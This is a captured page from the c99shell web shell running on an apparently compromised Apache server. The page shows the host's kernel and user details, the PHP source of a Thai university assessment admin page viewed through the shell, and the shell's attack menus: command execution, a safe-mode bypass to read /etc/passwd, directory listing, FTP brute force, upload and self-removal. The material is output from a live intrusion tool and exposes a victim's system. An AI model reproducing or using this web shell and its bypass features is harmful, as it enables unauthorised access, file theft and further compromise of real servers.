!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis/eassess/admin/   drwxr-xr-x
Free 51.01 GB of 127.8 GB (39.91%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     esa_addDefineProject.php (24.41 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
include_once "template.php";
showHeader();

$oCR = new clsConnection($GLOBALS['HOST'], $GLOBALS['DB_REG'], $GLOBALS['USER_REG'], $GLOBALS['PASSWORD_REG']);

$oCA = new clsConnection($GLOBALS['HOST'], $GLOBALS['DB_EASS'], $GLOBALS['USER_EASS'], $GLOBALS['PASSWORD_EASS']);

include_once 
"../link/function.php";
include_once 
"../class/clsAssessForm.php";
include_once 
"../class/clsReg_AcadYearConfig";
include_once 
"../class/clsReg_SysSemesterDes.php";
include_once 
"../class/clsDefineAssessment.php";
include_once 
"../class/clsEsa_DetailProject.php";
include_once 
"../class/clsEsa_HoldProject.php";
include_once 
"../class/clsEsa_DoProject.php";

$oAF = new AssessForm($oCA);
$oAYC = new AcadYearConfig($oCR);
$oSse = new SysSemesterDes($oCR);
$oDp = new SaDetailProject($oCA);
$oDp2 = new SaDetailProject($oCA);
$oHpj = new HoldProject($oCA);
$oDA = new DefineAssessment($oCA);

confirmSubmit();
checkFormat();
openWindow1();


if(
$method=="edit"){
    
$oDA->SearchByDefineid($defineid);
    
$oDA->GetRecord();

    
$acadYear $oDA->acadYear;
    
$semester $oDA->semester;
    
$assid $oDA->assid;
    
$startDate splitDateDb($oDA->startDate,'/');
    
$endDate splitDateDb($oDA->endDate,'/');
    
$closeDate splitDateDb($oDA->closeDate,'/');
}

if(!
$acadYear)
    
$acadYear $GLOBALS["ACADYEAR"];
if(!
$semester)
    
$semester $GLOBALS["SEMESTER"];

if(
$acadYearList == "")
    
$acadYearList $GLOBALS["ACADYEAR"];
if(!
$semesterList)
    
$semesterList $GLOBALS["SEMESTER"];
    
$oAYC->SearchByKey($acadYear,$semester);
$oAYC->GetRecord();
?>
<meta http-equiv="Content-Type" content="text/html; charset=TIS-620">
<body>
<table width="740" border="0" align="center" cellpadding="0" cellspacing="0">
<tr>
    <td><br><fieldset>
      <legend><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><a href="esa_processDefineProject.php?link=main&menu=linkBackMenu">กำหนดช่วงเวลาประเมิน</a> 
      <img src="../picture/ico3.gif" align="absmiddle" border="0"> กำหนดช่วงเวลานักศึกษาประเมินโครงการ</font></legend>
        <div align="center"><br>
          <table width="646" align="center" border="0" cellpadding="0" cellspacing="1">
            <tr> 
              <td colspan="2" align="center"><font size="3" color="<?php echo $GLOBALS['COLOR_FONT_3'];?>"><strong>กำหนดแบบประเมินและช่วงเวลาประเมินโครงการ</strong></font></td>
            </tr>
            <tr> 
              <td width="553">&nbsp;</td>
            </tr>
            <tr> 
              <td colspan="2">
              <table width="674" border="0" align="center" cellpadding="0" cellspacing="0" bordercolor="<?php echo $GLOBALS["COLOR_BORDER_TABLE_1"];?>">
                  <tr> 
                    <td colspan="7" align="center">
                    <form name="FormDefine" method="post" action="esa_processDefineProject.php" >
                    <input type="hidden" name="defineid" value="<?=$defineid?>">
                    <input type="hidden" name="firstDateTm" value="<?=$oAYC->firstDate?>">
                    <input type="hidden" name="lastDateTm" value="<?=$oAYC->lastDate?>">
                    <table width="654" align="center" border="0">
                        <tr bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_7"];?>"> 
                          <td width="170"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>">&nbsp;<b>แบบประเมินที่สร้าง</b></font></td>
                          <td colspan="3"> 
                            <?     if(!isset($assid)){ ?>
                            <select name="assid" onChange="selectDefineAss()">
                              <option value="" selected >---เลือกแบบประเมิน---</option>
                              <?php //$oAF->SearchByConfirmUse('1');
                                
$oAF->RSUseDefine();
                                while(
$oAF->GetRecord()) {
                                
//หาความยาวของชื่อแบบประเมิน
                                    
if($oAF->maintopic == ""){
                                        
$strNameAss strlen($oAF->nameAss); ?>
                              <option value="<?php echo $oAF->assid;?>" title="<?php echo $oAF->nameAss?>"><?php echo "** ".substr($oAF->nameAss,0,80); if($strNameAss >= 80) echo "..."?></option>
                              <?    }else{ 
                                        
$strNameAss strlen($oAF->maintopic); ?>
                              <option value="<?php echo $oAF->assid;?>" title="<?php echo $oAF->maintopic?>" ><?php echo substr($oAF->maintopic,0,80); if($strNameAss >= 80) echo "..."?></option>
                              <?php
                                  
}
                            }    
//close while?>
                            </select> 
                            <? } else { //echo "assid = ".$assid; ?>
                            <select name="assid" onChange="selectDefineAss()">
                              <? 
                                $oAF
->RSUseDefine();
                                while(
$oAF->GetRecord()) { 
                                
//หาความยาวของชื่อแบบประเมิน
                                    
if($oAF->maintopic == ""){
                                        
$strNameAss strlen($oAF->nameAss); ?>
                              <option value="<?php echo $oAF->assid;?><? if($oAF->assid == $assid) echo "selected"?> title="<?php echo " ".$oAF->nameAss?>"><?php echo "** ".substr($oAF->nameAss,0,80); if($strNameAss >= 80) echo "..."?></option>
                              <?    }else{ 
                                        
$strNameAss strlen($oAF->maintopic); ?>
                              <option value="<?php echo $oAF->assid;?><? if($oAF->assid == $assid) echo "selected"?> title="<?php echo " ".$oAF->nameAss?>"><?php echo substr($oAF->maintopic,0,80); if($strNameAss >= 80) echo "..."?></option>
                              <?php
                                  
}
                            }
//close while?>
                            </select> 
                            <? //end else?>
                            <font size="2" color="<?php echo $GLOBALS['COLOR_FONT_3'];?>">*</font></td>
                        </tr>

                        <tr> 
                          <td valign="top"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>">&nbsp;<b>ลักษณะการประเมิน</b></font></td>
                          <td colspan="3"> 

                            <font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"> 
                            <input type="radio" name="selectFlag" value="10"  onclick="enableIsPreAssess(6)" checked>
                            <img src="../picture/icoa14.jpg"  border="0">&nbsp;โครงการ/กิจกรรม <br>
                            </font> 

                        </td></tr>

                        <tr bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_7"];?>"> 
                          <td height="26"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>">&nbsp;<b>ปีการศึกษา</b></font></td>
                          <td colspan="3"> <input name="text"  type="text" value="<? echo $acadYear." / "?><? $oSse->SearchByKey($semester); $oSse->GetRecord(); echo $oSse->semesterName?>" readonly> 
                            <font color="<?php echo $GLOBALS['COLOR_FONT_3'];?>"> 
                            **</font></td>
                        </tr>

                        <tr  > 
                          <td height="22">&nbsp;<font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"><b>ช่วงเวลาประเมิน</b></font></td>
                          <td width="118" > 
                            <? if(!isset($startDate)){ ?>
                            <script>DateInput('startDate', true, 'DD/MM/YYYY','<?php echo getNowDateFw2();?>');</script> 
                            <? }else{  ?>
                            <script>DateInput('startDate', true, 'DD/MM/YYYY','<?php echo $startDate;?>');</script> 
                            <? ?>        </td>
                          <td width="24"><div align="center"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"><b>ถึง</b></font></div></td>
                          <td width="357"> 
                            <? if(!isset($endDate)){ ?>
                            <script>DateInput('endDate', true, 'DD/MM/YYYY','<?php echo getNowDateFw2();?>');</script> 
                            <? }else{ ?>
                            <script>DateInput('endDate', true, 'DD/MM/YYYY','<?php echo $endDate;?>');</script> 
                            <? ?></td>
                        </tr>
                        <tr bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_7"];?>"> 
                          <td height="22" colspan="3">&nbsp;<font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"><b>วันที่ยกเลิกการเลือกเมนูผู้ที่ไม่เข้าประเมิน</b></font></td>
                          <td >
<?php
                            
if(!isset($closeDate)) {
?>
                          <script>DateInput('closeDate', true, 'DD/MM/YYYY','<?php echo getNowDateFw2();?>');</script>
<?php
                            
}else {
?>
                          <script>DateInput('closeDate', true, 'DD/MM/YYYY','<?php echo $closeDate;?>');</script>
<?php
                            
}
?>                          </td>
                        </tr>
                        <tr><td>&nbsp;</td></tr>
                        <tr > 
                          <td height="26" colspan="4"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>">&nbsp;<b>เลือกโครงการ/กิจกรรมที่ผูกกับแบบประเมิน 
                            </b> 
                          </font></td>
                        </tr>
                        <tr> 
                          <td height="99" colspan="4"><div align="center">
                              <table width="627" border="0" cellpadding="1" cellspacing="1" bgcolor="silver">
                                <tr bgcolor="<?php echo $GLOBALS['COLOR_BG_TABLE_7'];?>"> 
                                <td align="center" width="5%" height="22"><input type="checkbox" ></td>
                                  <td align="center" width="5%" height="22"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_1"];?>"><strong>ลำดับ</strong></font></td>
                                  <td align="center" width="90%"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_1"];?>"><strong>ชื่อโครงการ/กิจกรรม</strong></font></td>
                                </tr>
                                <?php
                                $sumCreditTotal 
0;
                                
$i 0;

                                
$oDp->RSMainProject();
                                while(
$oDp->GetRecord()) {
                                    
$i++;
                                    if(
$method=="edit"){
                                        
$oHpj->RSByDefineidPj($defineid,$oDp->dpj_id);
                                        
$chk = ($oHpj->numRows)?'checked':'';
                                    }
?>
                                    <tr bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_7"];?>">
                                    <td align="center"><input type="checkbox" name="pj[<?php echo $i;?>]" value="<?php echo $oDp->dpj_id;?><?=$chk?>></td>
                                        <td align="right"><?=$i?></td>
                                        <td>&nbsp;&nbsp;<?=$oDp->dpj_sub_name?></td>
                                    </tr>
<?php
                                    $oDp2
->RSByMainProject($oDp->dpj_id);
                                    while(
$oDp2->GetRecord()) {
                                        
$i++;
                                        if(
$method=="edit"){
                                            
$oHpj->RSByDefineidPj($defineid,$oDp2->dpj_id);
                                            
$chk = ($oHpj->numRows)?'checked':'';
                                        }
?>
                                        <tr bgcolor="#FFFFFF">
                                        <td align="center"><input type="checkbox" name="pj[<?php echo $i;?>]" value="<?php echo $oDp2->dpj_id;?><?=$chk?>></td>
                                            <td align="right"><?=$i?></td>
                                            <td>&nbsp;&nbsp;&nbsp;&nbsp;<?=$oDp2->dpj_sub_name?></td>
                                        </tr>
<?php
                                    
}
                                    
$i++;
                                }
//end while HCT

                        
if($i == 0){
?>
                                <tr bgcolor="#FFFFFF"> 
                                  <td colspan="3" align="center"><div align="center"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_3'];?>">** 
                                      ไม่ปรากฏรายการ (กรุณาตรวจสอบข้อมูลโครงการ/กิจกรรม) 
                                      **</font></div></td>
                                </tr>
                                <?php    
                        
}
                            
?>
                                <tr bgcolor="<?php echo $GLOBALS['COLOR_BG_TABLE_7'];?>"> 
                                  <td height="13" colspan="3" align="center" ><div align="left"></div></td>
                                </tr>
                              </table>
                              <br>
                            </div></td>
                        </tr>
                        <? if($i 0) { ?>
                        <tr> 
                          <td height="13" colspan="7" align="center" ><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_3'];?>">** 
                            เมื่อเลือกรายการเรียบร้อยแล้ว กรุณาคลิกปุ่มบันทึกเพื่อยืนยันรายการที่เลือกไว้ 
                            **</font></td>
                        </tr>
                        <tr> 
                          <td height="6" colspan="7" align="center" ></td>
                        </tr>
                        <? ?>
                        <tr> 
                          <td colspan="4" align="center"> <p> 
                             <input type="submit" name="add" value="บันทึก"  onClick="return checkInput(new Array(this.form.endDate.value), new Array(this.form.closeDate.value));" <? if($i == 0) { echo "disabled"; } ?>>
                              <input type="button" name="cancel" value="ยกเลิก" onClick="location.href = 'esa_processDefineProject.php?link=main'">
                 <?php //     <input type="hidden" name="link" value="check">    ?>
                              <input type="hidden" name="method" value="<?php echo ($method=="edit")?'edit':'add';?>">
                              <input type="hidden" name="acadYear" value="<? echo $acadYear ?>">
                              <input type="hidden" name="semester" value="<? echo $semester ?>">
                              <input type="hidden" name="selectFlag" value="<?=$selectFlag?>">
                              <input type="hidden" name="isPreAssess" value="<?=$isPreAssess?>">
                            </p></td>
                        </tr>

        </fieldset>
        </div>
        </table>
        </td>
    </tr>
    <tr><!-- start show define -->
        <td>
            <table width="343" border="0" align="right">
                <tr> 
                    <td height="34" align="center" background="../picture/coverBG2.gif"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_1'];?>">&nbsp;</font><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_1'];?>">&nbsp;<b>ปีการศึกษา:</b></font><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"><b><select name="List1" onChange="location.href = '<?php echo $PHP_SELF;?>?acadYearList='+encodeURI(options[selectedIndex].value)+'&amp;semesterList=<?php echo $semesterList;?>'">
    <?php
            $oAy
->RSAcadYearConfigGroupAcY();
            while(
$oAy->GetRecord()) {
?>
            <option value="<?php echo $oAy->acadYear;?><? if($acadYearList == $oAy->acadYear) echo "selected"?>><?php echo $oAy->acadYear;?></option>
    <?php
            
}
?>
            </select>
            </b></font><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_1'];?>">&nbsp;<b>ภาคการศึกษา:<select name="List2" onChange="location.href ='<?php echo $PHP_SELF;?>?semesterList='+encodeURI(options[selectedIndex].value)+'&amp;acadYearList=<?php echo $acadYearList;?>'">
    <?php
            $oSse
->RSSysSemesterDes();
            while(
$oSse->GetRecord()) {
?>
            <option value="<?php echo $oSse->semester;?><? if($semesterList == $oSse->semester) echo "selected"?>><?php echo $oSse->semesterName;?></option>
<?php
            
}
?>
            </select>
            </b></font></td>
        </tr>
      </table>
        </td>
    </tr>
    <tr>
        <td>
<form name="pc" method="post" action="<?php echo $PHP_SELF;?>">
            <table border="0" align='right'>
                <tr bgcolor="<?php echo $GLOBALS["COLOR_BG_TABLE_2"];?>"> 
                    <td width="31" align="center"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_1"];?>"><strong>ลำดับ</strong></font></td>
                    <td width="400" height="22" align="center"><font color="<?php echo $GLOBALS["COLOR_FONT_1"];?>" size="2"><strong>รายการแบบประเมิน</strong></font></td>
                    <td width="169" align="center"><font color="<?php echo $GLOBALS["COLOR_FONT_1"];?>" size="2"><strong>ช่วงเวลาในการประเมิน</strong></font></td>
                    <td width="29" align="center"><font color="<?php echo $GLOBALS["COLOR_FONT_1"];?>" size="2"><strong>แก้ไข</strong></font></td>
                    <td width="22" align="center"><font color="<?php echo $GLOBALS["COLOR_FONT_1"];?>" size="2"><strong>ลบ</strong></font></td>
                </tr>
          <?php
                $i 
0;
                
$oDA->SearchByAcadSemFlag($acadYearList,$semesterList,'10');

                while(
$oDA->GetRecord()){
//$numDoAss=$oDo->CountDoidByDefineid($oDA->defineid);
                    
$oAF->SearchByKey($oDA->assid);
                    
$oAF->GetRecord();
                    
//หาความยาวของชื่อแบบประเมิน    
                    
$strNameAss strlen($oAF->nameAss);
                    if((
$i%2) == 0)
                        echo 
"<tr>";
                    else
                        echo 
"<tr bgcolor=\"".$GLOBALS["COLOR_BG_TD_4"]."\">";
?>
                  <td align="center"><?php echo $i+1;?></td>
                  <td>
                  <? if($oAF->maintopic == ""){ echo substr($oAF->nameAss,0,49)."<img src = \"../picture/warn.png\" border = \"0\">"$strNameAss strlen($oAF->nameAss);  if($strNameAss >= 49) echo "..."; }else{ echo substr($oAF->maintopic,0,49); $strNameAss strlen($oAF->maintopic);  if($strNameAss >= 49) echo "..."; } ?></a></td>
                  <td align="center"><?php  echo abbreDate2($oDA->startDate,'/');?> (ถึง) <?php  echo abbreDate2($oDA->endDate,'/');?>
                  </td>

                  <td align="center"><a href="esa_addDefineProject.php?method=edit&defineid=<?php echo $oDA->defineid;?> " onClick="return sendRequest(this);" onMouseOver="window.status=''; return true;"><img src="../picture/editnew.gif" width="20" height="21" align="absmiddle" border="0"></a>
                  </td>

                  <td align="center"> 
                    <? $numDoAss=0;if($numDoAss == '0') { ?>
                    <a href="processDefineSomeCourse.php?method=delete&defineid=<?php echo $oDA->defineid;?> onClick='return confirmSubmit("คุณต้องการลบข้อมูลแน่นอนใช่หรือไม่ ?")' onMouseOver="window.status=''; return true;" ><img src="../picture/deletenew.gif" width="16" height="19" align="absmiddle" border="0"></a> 
                    <? } else { ?>
                    <img src="../picture/deleted.gif" width="16" height="19" align="absmiddle" border="0"> 
                    <? ?>
                  </td>
                </tr>
<?php
                    $i
++;
                } 
//end while oDA

                
if($i == 0){
?>
                  <tr> 
                    <td colspan="6" height="22" align="center"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_3'];?>">** 
                      ไม่ปรากฏรายการในฐานข้อมูล **</font></td>
                  </tr>
    <?php
                
}else{
?>
            <tr bgcolor="<?php echo $GLOBALS["COLOR_BG_TABLE_2"];?>"> 
              <td width="120" align="right" colspan="5"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_1"];?>">รวม 
                <?php echo $i;?> รายการ</font>&nbsp;&nbsp;</td>
            </tr>
<?php
                
}
?>


            <tr> 
              <td colspan="2"><input type="button" name="back2" value="กลับเมนูหลัก" onClick="location.href = 'index.php?mm=1'"></td>
            </tr>
                    </table></form>

        </td>
    </tr><!-- end show define -->
    <tr>
        <td>
      <table width="115%" border="0" align="center">
        <tr> 
          <td width="9%"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"];?>"><b>หมายเหตุ 
            :</b></font></td>
          <td width="91%"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"];?>">* 
            หมายถึง ต้องกรอกข้อมูลให้สมบูรณ์,</font></td>
        </tr>
        <tr>
          <td height="22">&nbsp;</td>
          <td><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"];?>">** 
            หมายถึง ระบบกำหนดให้ไม่สามารถแก้ไขได้,</font></td>
        </tr>
        <tr> 
          <td height="22">&nbsp;</td>
          <td><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"];?>">ใช้เม้าท์คลิกที่รายการแบบประเมิน 
            เพื่อดูรายละเอียดวิชาที่เลือกไว้</font></td>
        </tr>
        <tr> 
          <td height="22">&nbsp;</td>
          <td><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"];?>"><img src="../picture/deleted.gif" width="16" height="19" align="absmiddle" border="0"> 
            หมายถึง ไม่สามารถลบรายการที่กำหนดนั้นๆ ได้ เนื่องจากได้มีนักศึกษาเข้ามาประเมินแล้ว 
            </font></td>
        </tr>
      </table></td>
    </tr>
</table>
</table>
</table>
</body>
<?php

$oCA
->Disconnect();
$oCR->Disconnect();
showFooter();
?>

<script language="JavaScript1.2">
function checkInput(txtStart, txtEnd){
    
    if(document.FormDefine.assid.value =="" ){
        alert('กรุณาเลือกแบบประเมิน !');
        document.FormDefine.assid.focus();
        return false;
    }else {
        f = document.FormDefine;

        var date1 = f.startDate.value.split("/");
        var date2 = f.endDate.value.split("/");
        var dateFTm = f.firstDateTm.value.split("-");
        var dateLTm = f.lastDateTm.value.split("-");
        //Set the two dates
        date1 = new Date(eval(date1[2]), eval(date1[1]-1), eval(date1[0]));
        date2 = new Date(eval(date2[2]), eval(date2[1]-1), eval(date2[0])); //Month is 0-11 in JavaScript
        dateFTm = new Date(eval(dateFTm[0]-543), eval(dateFTm[1]-1), eval(dateFTm[2]));
        dateLTm = new Date(eval(dateLTm[0]-543), eval(dateLTm[1]-1), eval(dateLTm[2])); //Month is 0-11 in JavaScript
        //Set 1 day in milliseconds
        var one_day = 1000*60*60*24;
        //Calculate difference btw the two dates, and convert to days
        var diff = Math.ceil((date2.getTime()-date1.getTime())/(one_day));
        var year = date1.getFullYear()+543;
                
        var be  = Math.ceil((dateLTm.getTime()-date1.getTime())/(one_day));
        var af = Math.ceil((date1.getTime()-dateFTm.getTime())/(one_day));
/*        if( be<0 || af<0){
            alert("กรุณาตรวจสอบ 'วันที่เริ่มต้น' ควรอยู่ในช่วง 'ปีการศึกษาปัจจุบัน' !");
            return false;
        }else 
*/        if(diff < 0){
            alert("กรุณาตรวจสอบ 'วันที่เริ่มต้น' ควรน้อยกว่า 'วันที่สิ้นสุด' !");
            return false;
        }
        //return true;
    }
    
    if (txtStart && txtEnd) {
        var oblen = txtStart.length;
        for (var i = 0; i < oblen; i++) {
            if (!isvalidate(txtStart[i], txtEnd[i])) {
                return false;
            }
        }
    }
    return true;
}

function selectDefineAss(){
    if (document.FormDefine.assid.value!="")  //เลือกแล้ว refresh หน้าจอ
            location.replace('esa_addDefineProject.php?assid='+document.FormDefine.assid.value+'&acadYear='+document.FormDefine.acadYear.value+'&semester='+document.FormDefine.semester.value);    //location.replace('addDefineSomeCourse.php?assid='+document.FormDefine.assid.value+'&acadYear='+document.FormDefine.acadYear.value+'&semester='+document.FormDefine.semester.value+'&startDate='+document.FormDefine.startDate.value+'&endDate='+document.FormDefine.endDate.value);
        
}
function getFlag(radioObj){
    var radioLength = radioObj.length;
        for(var i = 0; i < radioLength; i++) {
            if(radioObj[i].checked) {
                selectFlag =  radioObj[i].value;
            }
        }    
    return  selectFlag;
}

function isvalidate (txtStart, txtEnd)
{
    var retval = true;  
    var ArrayStartDay = txtStart.split("/");
    var ArrayStopDay = txtEnd.split("/");
    var StartDay = ArrayStartDay[2] + ArrayStartDay[1] + ArrayStartDay[0];
    var StopDay = ArrayStopDay[2] + ArrayStopDay[1] + ArrayStopDay[0];
    if (StartDay > StopDay) {
        alert("กรุณาตรวจสอบ 'วันที่สิ้นสุด' ควรน้อยกว่า 'วันที่ปิดการประเมิน' !");
        retval = false;
    }
    return retval;
}

</script>

<?php 
    
function getAllCourseCode($defineid,$oHC,$oClassA,$oCourse)
    {
        
$oHC->SearchDistinctClassIdByDefineid($defineid);
        while(
$oHC->GetRecord()){
            
$oClassA->SearchByKey($oHC->classId);
            
$oClassA->GetRecord();
            
$oCourse->SearchByKey($oClassA->courseId);
            
$oCourse->GetRecord();
            echo 
$oCourse->courseCode." ,";
        }
    }
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.01 ]--